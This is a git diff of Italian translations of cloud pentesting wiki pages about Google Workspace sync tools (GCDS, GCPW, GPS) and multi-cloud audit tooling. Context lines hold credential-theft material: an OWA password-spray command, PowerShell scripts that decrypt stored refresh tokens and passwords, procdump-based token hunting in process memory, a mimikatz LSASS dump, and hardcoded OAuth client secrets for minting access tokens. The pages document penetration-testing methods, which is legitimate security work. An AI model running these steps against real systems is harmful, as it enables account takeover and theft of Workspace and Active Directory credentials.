[**MailSniper**](https://github.com/dafthack/MailSniper) -```powershell +```bash #OWA Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile owa-sprayed-creds.txt #EWS diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md index 38f1bd176..064aef124 100644 --- a/src/pentesting-cloud/pentesting-cloud-methodology.md +++ b/src/pentesting-cloud/pentesting-cloud-methodology.md @@ -9,10 +9,10 @@ Ogni cloud ha le proprie peculiarità, ma in generale ci sono alcune **cose comuni che un pentester dovrebbe controllare** quando testa un ambiente cloud: - **Controlli di benchmark** -- Questo ti aiuterà a **comprendere la dimensione** dell'ambiente e **i servizi utilizzati** -- Ti permetterà anche di trovare alcune **veloci misconfigurazioni** poiché puoi eseguire la maggior parte di questi test con **strumenti automatizzati** +- Questo ti aiuterà a **comprendere la dimensione** dell'ambiente e i **servizi utilizzati** +- Ti permetterà anche di trovare alcune **misconfigurazioni rapide** poiché puoi eseguire la maggior parte di questi test con **strumenti automatizzati** - **Enumerazione dei servizi** -- Probabilmente non troverai molte più misconfigurazioni qui se hai eseguito correttamente i test di benchmark, ma potresti trovare alcune che non erano state cercate nel test di benchmark. +- Probabilmente non troverai molte altre misconfigurazioni qui se hai eseguito correttamente i test di benchmark, ma potresti trovare alcune che non erano state cercate nel test di benchmark. - Questo ti permetterà di sapere **cosa viene esattamente utilizzato** nell'ambiente cloud - Questo aiuterà molto nei passaggi successivi - **Controlla le risorse esposte** @@ -22,14 +22,14 @@ Ogni cloud ha le proprie peculiarità, ma in generale ci sono alcune **cose comu - **Controlla i permessi** - Qui dovresti **scoprire tutti i permessi di ciascun ruolo/utente** all'interno del cloud e come vengono utilizzati - Troppi account **altamente privilegiati** (controllano tutto)? Chiavi generate non utilizzate?... La maggior parte di questi controlli dovrebbe già essere stata effettuata nei test di benchmark -- Se il cliente sta utilizzando OpenID o SAML o altra **federazione**, potresti dover chiedere ulteriori **informazioni** su **come viene assegnato ciascun ruolo** (non è la stessa cosa che il ruolo di admin sia assegnato a 1 utente o a 100) +- Se il cliente sta utilizzando OpenID o SAML o altra **federazione**, potresti dover chiedere ulteriori **informazioni** su **come viene assegnato ciascun ruolo** (non è la stessa cosa se il ruolo di admin è assegnato a 1 utente o a 100) - Non è **sufficiente trovare** quali utenti hanno permessi **admin** "\*:\*". Ci sono molti **altri permessi** che a seconda dei servizi utilizzati possono essere molto **sensibili**. -- Inoltre, ci sono **potenziali vie di privesc** da seguire abusando dei permessi. Tutte queste cose dovrebbero essere prese in considerazione e **quante più vie di privesc possibili** dovrebbero essere segnalate. +- Inoltre, ci sono **potenziali vie di privesc** da seguire abusando dei permessi. Tutte queste cose dovrebbero essere prese in considerazione e **dovrebbero essere segnalati il maggior numero possibile di percorsi privesc**. - **Controlla le integrazioni** - È altamente probabile che **integrazioni con altri cloud o SaaS** siano utilizzate all'interno dell'ambiente cloud. -- Per le **integrazioni del cloud che stai auditando** con altre piattaforme, dovresti notificare **chi ha accesso a (ab)usare quell'integrazione** e dovresti chiedere **quanto è sensibile** l'azione che viene eseguita.\ -Ad esempio, chi può scrivere in un bucket AWS da cui GCP sta estraendo dati (chiedi quanto è sensibile l'azione in GCP che tratta quei dati). -- Per le **integrazioni all'interno del cloud che stai auditando** da piattaforme esterne, dovresti chiedere **chi ha accesso esternamente a (ab)usare quell'integrazione** e controllare come vengono utilizzati quei dati.\ +- Per le **integrazioni del cloud che stai auditando** con altre piattaforme, dovresti notificare **chi ha accesso per (ab)usare quell'integrazione** e dovresti chiedere **quanto è sensibile** l'azione che viene eseguita.\ +Ad esempio, chi può scrivere in un bucket AWS da cui GCP sta estraendo dati (chiedi quanto è sensibile l'azione in GCP trattando quei dati). +- Per le **integrazioni all'interno del cloud che stai auditando** da piattaforme esterne, dovresti chiedere **chi ha accesso esternamente per (ab)usare quell'integrazione** e controllare come vengono utilizzati quei dati.\ Ad esempio, se un servizio sta utilizzando un'immagine Docker ospitata in GCR, dovresti chiedere chi ha accesso a modificarla e quali informazioni sensibili e accesso avrà quell'immagine quando viene eseguita all'interno di un cloud AWS. ## Strumenti Multi-Cloud @@ -38,7 +38,7 @@ Ci sono diversi strumenti che possono essere utilizzati per testare diversi ambi ### [PurplePanda](https://github.com/carlospolop/purplepanda) -Uno strumento per **identificare cattive configurazioni e vie di privesc nei cloud e tra cloud/SaaS.** +Uno strumento per **identificare cattive configurazioni e percorsi di privesc nei cloud e tra cloud/SaaS.** {{#tabs }} {{#tab name="Install" }} @@ -115,7 +115,7 @@ npm install AWS, Azure, GCP, Alibaba Cloud, Oracle Cloud Infrastructure {{#tabs }} -{{#tab name="Installa" }} +{{#tab name="Install" }} ```bash mkdir scout; cd scout virtualenv -p python3 venv @@ -302,7 +302,7 @@ ghcr.io/lyft/cartography \ ### [**starbase**](https://github.com/JupiterOne/starbase) -Starbase raccoglie asset e relazioni da servizi e sistemi, inclusi infrastrutture cloud, applicazioni SaaS, controlli di sicurezza e altro, in una vista grafica intuitiva supportata dal database Neo4j. +Starbase raccoglie asset e relazioni da servizi e sistemi, inclusa l'infrastruttura cloud, applicazioni SaaS, controlli di sicurezza e altro, in una vista grafica intuitiva supportata dal database Neo4j. {{#tabs }} {{#tab name="Install" }} @@ -362,7 +362,7 @@ uri: bolt://localhost:7687 ### [**SkyArk**](https://github.com/cyberark/SkyArk) Scopri gli utenti più privilegiati nell'ambiente AWS o Azure scansionato, inclusi gli AWS Shadow Admins. Utilizza PowerShell. -```powershell +```bash Import-Module .\SkyArk.ps1 -force Start-AzureStealth @@ -412,7 +412,7 @@ azure-security/ ### Attack Graph -[**Stormspotter** ](https://github.com/Azure/Stormspotter) crea un “grafico di attacco” delle risorse in un abbonamento Azure. Consente ai red team e ai pentester di visualizzare la superficie di attacco e le opportunità di pivot all'interno di un tenant, e potenzia i tuoi difensori per orientarsi rapidamente e dare priorità al lavoro di risposta agli incidenti. +[**Stormspotter** ](https://github.com/Azure/Stormspotter) crea un “grafico di attacco” delle risorse in un abbonamento Azure. Consente ai team rossi e ai pentester di visualizzare la superficie di attacco e le opportunità di pivot all'interno di un tenant, e potenzia i tuoi difensori per orientarsi rapidamente e dare priorità al lavoro di risposta agli incidenti. ### Office365 diff --git a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md index 75aa06a98..e0785325e 100644 --- a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md +++ b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md @@ -4,17 +4,17 @@ ## Informazioni di base -Questo è uno strumento che può essere utilizzato per **synchronizzare gli utenti e i gruppi del tuo Active Directory con il tuo Workspace** (e non viceversa al momento della scrittura). +Questo è uno strumento che può essere utilizzato per **sincronizzare gli utenti e i gruppi della tua active directory con il tuo Workspace** (e non viceversa al momento della scrittura). È interessante perché è uno strumento che richiederà le **credenziali di un superutente di Workspace e di un utente AD privilegiato**. Quindi, potrebbe essere possibile trovarlo all'interno di un server di dominio che sincronizza gli utenti di tanto in tanto. > [!NOTE] -> Per eseguire un **MitM** sul binario **`config-manager.exe`**, aggiungi semplicemente la seguente riga nel file `config.manager.vmoptions`: **`-Dcom.sun.net.ssl.checkRevocation=false`** +> Per eseguire un **MitM** sul binario **`config-manager.exe`** basta aggiungere la seguente riga nel file `config.manager.vmoptions`: **`-Dcom.sun.net.ssl.checkRevocation=false`** > [!TIP] > Nota che [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) è in grado di rilevare **GCDS**, ottenere informazioni sulla configurazione e **anche le password e le credenziali crittografate**. -Nota anche che GCDS non sincronizzerà le password da AD a Workspace. Se qualcosa, genererà solo password casuali per gli utenti appena creati in Workspace, come puoi vedere nell'immagine seguente: +Nota anche che GCDS non sincronizzerà le password da AD a Workspace. Se qualcosa, genererà solo password casuali per gli utenti appena creati in Workspace come puoi vedere nell'immagine seguente:
@@ -54,7 +54,7 @@ Nota come il **refresh** **token** e la **password** dell'utente siano **criptat
Script Powershell per decriptare il refresh token e la password -```powershell +```bash # Paths and key names $xmlConfigPath = "C:\Users\c\Documents\conf.xml" $regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util" @@ -150,19 +150,19 @@ Write-Host "Decrypted Password: $decryptedPassword"
> [!NOTE] -> Tieni presente che è possibile controllare queste informazioni esaminando il codice java di **`DirSync.jar`** da **`C:\Program Files\Google Cloud Directory Sync`** cercando la stringa `exportkeys` (poiché è il parametro cli che il binario `upgrade-config.exe` si aspetta per estrarre le chiavi). +> Nota che è possibile controllare queste informazioni esaminando il codice java di **`DirSync.jar`** da **`C:\Program Files\Google Cloud Directory Sync`** cercando la stringa `exportkeys` (poiché è il parametro cli che il binario `upgrade-config.exe` si aspetta per estrarre le chiavi). Invece di utilizzare lo script powershell, è anche possibile utilizzare il binario **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** con il parametro `-exportKeys` e ottenere la **Key** e **IV** dal registro in esadecimale e poi utilizzare CyberChef con AES/CBC e quella chiave e IV per decrittografare le informazioni. ### GCDS - Dumping tokens from memory -Proprio come con GCPW, è possibile estrarre la memoria del processo del `config-manager.exe` (è il nome del binario principale di GCDS con GUI) e sarai in grado di trovare i token di refresh e accesso (se sono già stati generati).\ +Proprio come con GCPW, è possibile estrarre la memoria del processo `config-manager.exe` (è il nome del binario principale di GCDS con GUI) e sarai in grado di trovare i token di refresh e accesso (se sono già stati generati).\ Immagino che tu possa anche trovare le credenziali configurate di AD.
Dump config-manager.exe processes and search tokens -```powershell +```bash # Define paths for Procdump and Strings utilities $procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe" $stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe" diff --git a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md index 820f99291..5506f0ea1 100644 --- a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md +++ b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md @@ -4,7 +4,7 @@ ## Informazioni di base -Questo è il single sign-on fornito da Google Workspaces affinché gli utenti possano accedere ai loro PC Windows utilizzando **le loro credenziali di Workspace**. Inoltre, questo memorizzerà i token per accedere a Google Workspace in alcune posizioni nel PC. +Questo è il single sign-on fornito da Google Workspaces affinché gli utenti possano accedere ai propri PC Windows utilizzando **le proprie credenziali di Workspace**. Inoltre, questo memorizzerà i token per accedere a Google Workspace in alcune posizioni nel PC. > [!TIP] > Nota che [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) è in grado di rilevare **GCPW**, ottenere informazioni sulla configurazione e **anche token**. @@ -27,20 +27,18 @@ scope=https://www.google.com/accounts/OAuthLogin &device_id=d5c82f70-71ff-48e8-94db-312e64c7354f &device_type=chrome ``` -Nuove righe sono state aggiunte per renderlo più leggibile. - > [!NOTE] > È stato possibile eseguire un MitM installando `Proxifier` nel PC, sovrascrivendo il binario `utilman.exe` con un `cmd.exe` ed eseguendo le **funzionalità di accessibilità** nella pagina di accesso di Windows, che eseguirà un **CMD** da cui puoi **lanciare e configurare il Proxifier**.\ > Non dimenticare di **bloccare il traffico QUICK UDP** in `Proxifier` in modo che venga degradato a comunicazione TCP e tu possa vederlo. > -> Configura anche in "Serviced and other users" entrambe le opzioni e installa il certificato Burp CA in Windows. +> Configura anche in "Serviced and other users" entrambe le opzioni e installa il certificato CA di Burp in Windows. -Inoltre, aggiungendo le chiavi `enable_verbose_logging = 1` e `log_file_path = C:\Public\gcpw.log` in **`HKLM:\SOFTWARE\Google\GCPW`** è possibile farlo memorizzare alcuni log. +Inoltre, aggiungendo le chiavi `enable_verbose_logging = 1` e `log_file_path = C:\Public\gcpw.log` in **`HKLM:\SOFTWARE\Google\GCPW`** è possibile far sì che vengano memorizzati alcuni log. ### GCPW - Fingerprint -È possibile verificare se GCPW è installato in un dispositivo controllando se il seguente processo esiste o se le seguenti chiavi di registro esistono: -```powershell +È possibile verificare se GCPW è installato in un dispositivo controllando se esiste il seguente processo o se esistono le seguenti chiavi di registro: +```bash # Check process gcpw_extension.exe if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) { Write-Output "The process gcpw_xtension.exe is running." @@ -66,10 +64,10 @@ Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist." ``` In **`HKCU:\SOFTWARE\Google\Accounts`** è possibile accedere all'email dell'utente e al **refresh token** crittografato se l'utente ha effettuato di recente l'accesso. -In **`HKLM:\SOFTWARE\Google\GCPW\Users`** è possibile trovare i **domini** che sono autorizzati ad accedere nella chiave `domains_allowed` e nelle sottochiavi è possibile trovare informazioni sull'utente come email, immagine, nome utente, durata dei token, gestore dei token... +In **`HKLM:\SOFTWARE\Google\GCPW\Users`** è possibile trovare i **domini** che sono autorizzati ad accedere nella chiave `domains_allowed` e nelle sottochiavi è possibile trovare informazioni sull'utente come email, immagine, nome utente, durata dei token, handle del token... > [!NOTE] -> Il gestore del token è un token che inizia con `eth.` e dal quale è possibile estrarre alcune informazioni con una richiesta come: +> L'handle del token è un token che inizia con `eth.` e dal quale è possibile estrarre alcune informazioni con una richiesta come: > > ```bash > curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \ @@ -82,7 +80,7 @@ In **`HKLM:\SOFTWARE\Google\GCPW\Users`** è possibile trovare i **domini** che > } > ``` > -> Inoltre è possibile trovare il gestore del token di un access token con una richiesta come: +> Inoltre è possibile trovare l'handle del token di un access token con una richiesta come: > > ```bash > curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \ @@ -98,20 +96,20 @@ In **`HKLM:\SOFTWARE\Google\GCPW\Users`** è possibile trovare i **domini** che > } > ``` > -> A quanto ne so, non è possibile ottenere un refresh token o un access token dal gestore del token. +> A quanto ne so, non è possibile ottenere un refresh token o un access token dall'handle del token. Inoltre, il file **`C:\ProgramData\Google\Credential Provider\Policies\\PolicyFetchResponse`** è un json che contiene le informazioni di diverse **impostazioni** come `enableDmEnrollment`, `enableGcpAutoUpdate`, `enableMultiUserLogin` (se più utenti di Workspace possono accedere al computer) e `validityPeriodDays` (numero di giorni in cui un utente non deve ri-autenticarsi direttamente con Google). ## GCPW - Ottieni Token -### GCPW - Token di Aggiornamento del Registro +### GCPW - Registry Refresh Tokens All'interno del registro **`HKCU:\SOFTWARE\Google\Accounts`** potrebbe essere possibile trovare alcuni account con il **`refresh_token`** crittografato all'interno. Il metodo **`ProtectedData.Unprotect`** può facilmente decrittografarlo.
Ottieni HKCU:\SOFTWARE\Google\Accounts dati e decrittografa refresh_tokens -```powershell +```bash # Import required namespace for decryption Add-Type -AssemblyName System.Security @@ -182,12 +180,12 @@ Si può osservare che viene utilizzato AESGCM, il token crittografato inizia con ### GCPW - Dumping dei token dalla memoria dei processi -Lo script seguente può essere utilizzato per **dumpare** ogni processo **Chrome** utilizzando `procdump`, estrarre le **stringhe** e poi **cercare** stringhe relative ai **token di accesso e di aggiornamento**. Se Chrome è connesso a qualche sito Google, alcuni **processi memorizzeranno token di aggiornamento e/o di accesso in memoria!** +Il seguente script può essere utilizzato per **dumpare** ogni processo **Chrome** utilizzando `procdump`, estrarre le **stringhe** e poi **cercare** stringhe relative ai **token di accesso e di aggiornamento**. Se Chrome è connesso a qualche sito Google, alcuni **processi memorizzeranno token di aggiornamento e/o di accesso in memoria!**
Dump dei processi Chrome e ricerca dei token -```powershell +```bash # Define paths for Procdump and Strings utilities $procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe" $stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe" @@ -262,11 +260,11 @@ Remove-Item -Path $dumpFolder -Recurse -Force Ho provato lo stesso con `gcpw_extension.exe` ma non ha trovato alcun token. -Per qualche motivo, **alcuni token di accesso estratti non saranno validi (anche se alcuni lo saranno)**. Ho provato il seguente script per rimuovere i caratteri uno per uno per cercare di ottenere il token valido dal dump. Non mi ha mai aiutato a trovare uno valido, ma potrebbe, suppongo: +Per qualche motivo, **alcuni token di accesso estratti non saranno validi (anche se alcuni lo saranno)**. Ho provato il seguente script per rimuovere i caratteri uno alla volta per cercare di ottenere il token valido dal dump. Non mi ha mai aiutato a trovare uno valido, ma potrebbe, suppongo:
-Controlla il token di accesso rimuovendo i caratteri uno per uno +Controlla il token di accesso rimuovendo i caratteri uno alla volta ```bash #!/bin/bash @@ -301,7 +299,7 @@ echo "Error: Token invalid or too short" ### GCPW - Generazione di token di accesso dai token di aggiornamento -Utilizzando il token di aggiornamento, è possibile generare token di accesso utilizzandolo insieme all'ID client e al segreto client specificati nel seguente comando: +Utilizzando il token di aggiornamento, è possibile generare token di accesso utilizzandolo e l'ID client e il segreto client specificati nel seguente comando: ```bash curl -s --data "client_id=77185425430.apps.googleusercontent.com" \ --data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \ @@ -587,11 +585,11 @@ https://www.googleapis.com/oauth2/v4/token ```
-Alcuni esempi utilizzando alcuni di quei scope: +Alcuni esempi utilizzando alcuni di questi ambiti:
-https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile +https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile ```bash curl -X GET \ -H "Authorization: Bearer $access_token" \ @@ -795,17 +793,17 @@ More [API endpoints in the docs](https://developers.google.com/vault/reference/r
-## GCPW - Recuperare la password in chiaro +## GCPW - Recupero della password in chiaro Per abusare di GCPW per recuperare la password in chiaro, è possibile estrarre la password crittografata da **LSASS** utilizzando **mimikatz**: ```bash mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets exit ``` -Poi cerca il segreto come `Chrome-GCPW-` come nell'immagine: +Cerca quindi il segreto come `Chrome-GCPW-` come nell'immagine:
-Poi, con un **access token** con l'ambito `https://www.google.com/accounts/OAuthLogin`, è possibile richiedere la chiave privata per decrittare la password: +Poi, con un **access token** con il scope `https://www.google.com/accounts/OAuthLogin`, è possibile richiedere la chiave privata per decrittare la password:
@@ -887,8 +885,8 @@ decrypt_password(access_token, lsa_secret) È possibile trovare i componenti chiave di questo nel codice sorgente di Chromium: -- Dominio API: [https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22\&type=code](https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22&type=code) -- Endpoint API: [https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential_provider/gaiacp/password_recovery_manager.cc#L70](https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential_provider/gaiacp/password_recovery_manager.cc#L70) +- API domain: [https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22\&type=code](https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22&type=code) +- API endpoint: [https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential_provider/gaiacp/password_recovery_manager.cc#L70](https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential_provider/gaiacp/password_recovery_manager.cc#L70) ## Riferimenti diff --git a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md index 926825aac..745b34cd5 100644 --- a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md +++ b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md @@ -20,7 +20,7 @@ Per configurare questo binario (e servizio), è necessario **dargli accesso a un - Google lo richiede per i domini controllati senza GUI - Queste credenziali sono anche memorizzate nel registro -Per quanto riguarda l'AD, è possibile indicare di utilizzare il **contesto delle applicazioni attuali, anonimo o alcune credenziali specifiche**. Se viene selezionata l'opzione credenziali, il **nome utente** è memorizzato all'interno di un file nel **disco** e la **password** è **crittografata** e memorizzata nel **registro**. +Per quanto riguarda l'AD, è possibile indicare di utilizzare il **contesto delle applicazioni attuali, anonimo o alcune credenziali specifiche**. Se viene selezionata l'opzione delle credenziali, il **nome utente** è memorizzato all'interno di un file nel **disco** e la **password** è **crittografata** e memorizzata nel **registro**. ### GPS - Dumping password e token dal disco @@ -29,9 +29,9 @@ Per quanto riguarda l'AD, è possibile indicare di utilizzare il **contesto dell Nel file **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** è possibile trovare parte della configurazione come il **`baseDN`** dell'AD configurato e il **`username`** le cui credenziali vengono utilizzate. -Nel registro **`HKLM\Software\Google\Google Apps Password Sync`** è possibile trovare il **refresh token crittografato** e la **password crittografata** per l'utente AD (se presente). Inoltre, se invece di un token, vengono utilizzate alcune **credenziali SA**, è anche possibile trovare quelle crittografate in quell'indirizzo di registro. I **valori** all'interno di questo registro sono accessibili solo dagli **Amministratori**. +Nel registro **`HKLM\Software\Google\Google Apps Password Sync`** è possibile trovare il **refresh token crittografato** e la **password crittografata** per l'utente AD (se presente). Inoltre, se invece di un token, vengono utilizzate alcune **credenziali SA**, è anche possibile trovarle crittografate in quell'indirizzo di registro. I **valori** all'interno di questo registro sono accessibili solo dagli **Amministratori**. -La **password crittografata** (se presente) si trova all'interno della chiave **`ADPassword`** ed è crittografata utilizzando l'API **`CryptProtectData`**. Per decrittografarla, è necessario essere lo stesso utente di quello che ha configurato la sincronizzazione della password e utilizzare questa **entropia** quando si utilizza **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };` +La **password** crittografata (se presente) si trova all'interno della chiave **`ADPassword`** ed è crittografata utilizzando l'API **`CryptProtectData`**. Per decrittografarla, è necessario essere lo stesso utente di quello che ha configurato la sincronizzazione della password e utilizzare questa **entropia** quando si utilizza **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };` Il token crittografato (se presente) si trova all'interno della chiave **`AuthToken`** ed è crittografato utilizzando l'API **`CryptProtectData`**. Per decrittografarlo, è necessario essere lo stesso utente di quello che ha configurato la sincronizzazione della password e utilizzare questa **entropia** quando si utilizza **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\ Inoltre, è anche codificato utilizzando base32hex con il dizionario **`0123456789abcdefghijklmnopqrstv`**. @@ -40,19 +40,19 @@ I valori di entropia sono stati trovati utilizzando lo strumento. È stato confi
-Nota che è anche possibile vedere i valori **decrittografati** nell'input o output delle chiamate a queste API anche (nel caso in cui a un certo punto Winpeas smetta di funzionare). +Nota che è anche possibile vedere i valori **decrittografati** negli input o output delle chiamate a queste API (nel caso in cui a un certo punto Winpeas smetta di funzionare). Nel caso in cui la sincronizzazione della password fosse **configurata con credenziali SA**, sarà anche memorizzata in chiavi all'interno del registro **`HKLM\Software\Google\Google Apps Password Sync`**. ### GPS - Dumping token dalla memoria -Proprio come con GCPW, è possibile dumpare la memoria del processo di `PasswordSync.exe` e dei processi `password_sync_service.exe` e sarà possibile trovare refresh e access token (se sono già stati generati).\ +Proprio come con GCPW, è possibile dumpare la memoria del processo di `PasswordSync.exe` e dei processi `password_sync_service.exe` e sarà possibile trovare refresh e access tokens (se sono già stati generati).\ Immagino che tu possa anche trovare le credenziali AD configurate.
Dump PasswordSync.exe e i processi password_sync_service.exe e cerca i token -```powershell +```bash # Define paths for Procdump and Strings utilities $procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe" $stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe" @@ -129,7 +129,7 @@ Write-Output "" ### GPS - Generazione di token di accesso dai token di aggiornamento -Utilizzando il token di aggiornamento, è possibile generare token di accesso utilizzandolo e l'ID client e il segreto client specificati nel seguente comando: +Utilizzando il token di aggiornamento, è possibile generare token di accesso utilizzandolo insieme all'ID client e al segreto client specificati nel seguente comando: ```bash curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \ --data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \ @@ -140,11 +140,11 @@ https://www.googleapis.com/oauth2/v4/token ### GPS - Scopes > [!NOTE] -> Nota che anche avendo un refresh token, non è possibile richiedere alcuno scope per il token di accesso poiché puoi richiedere solo gli **scopes supportati dall'applicazione in cui stai generando il token di accesso**. +> Nota che anche avendo un refresh token, non è possibile richiedere alcuno scope per il token di accesso poiché puoi richiedere solo gli **scope supportati dall'applicazione in cui stai generando il token di accesso**. > > Inoltre, il refresh token non è valido in ogni applicazione. -Per impostazione predefinita, GPS non avrà accesso come utente a ogni possibile scope OAuth, quindi utilizzando il seguente script possiamo trovare gli scopes che possono essere utilizzati con il `refresh_token` per generare un `access_token`: +Per impostazione predefinita, GPS non avrà accesso come utente a ogni possibile scope OAuth, quindi utilizzando il seguente script possiamo trovare gli scope che possono essere utilizzati con il `refresh_token` per generare un `access_token`: